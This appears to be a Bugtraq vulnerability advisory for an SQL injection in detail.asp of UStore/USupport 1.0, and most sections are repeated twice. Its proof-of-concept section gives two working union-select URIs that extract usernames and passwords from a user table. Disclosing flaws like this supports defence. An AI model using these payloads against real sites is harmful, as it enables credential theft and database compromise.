UStore/USupport Detail.ASP SQL Injection Vulnerability
BID:21025
Info
UStore/USupport Detail.ASP SQL Injection Vulnerability
| Bugtraq ID: | 21025 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 13 2006 12:00AM |
| Updated: | Nov 13 2006 12:00AM |
| Credit: | ajann is credited with the discovery of this vulnerability. |
| Vulnerable: |
Superfreaker Studios USupport 1.0 Superfreaker Studios UStore 1.0 |
| Not Vulnerable: | |
Discussion
UStore/USupport Detail.ASP SQL Injection Vulnerability
UStore and USupport are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
UStore and USupport are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
Exploit / POC
UStore/USupport Detail.ASP SQL Injection Vulnerability
An attacker can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/detail.asp?id=11%20union%20select%200,username,password,0,0,0%20from%20tblusers
http://www.example.com/detail.asp?ID=-1%20union%20select%200,username,password,0,0,0,0,0,0,0%20from%20tblusers%20where%20id%20like%201
An attacker can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/detail.asp?id=11%20union%20select%200,username,password,0,0,0%20from%20tblusers
http://www.example.com/detail.asp?ID=-1%20union%20select%200,username,password,0,0,0,0,0,0,0%20from%20tblusers%20where%20id%20like%201
Solution / Fix
UStore/USupport Detail.ASP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
UStore/USupport Detail.ASP SQL Injection Vulnerability
References:
References:
- Superfreaker Studios (Superfreaker Studios)
- UStore 1.0 (detail.asp) Remote SQL Injection Vulnerability (ajann)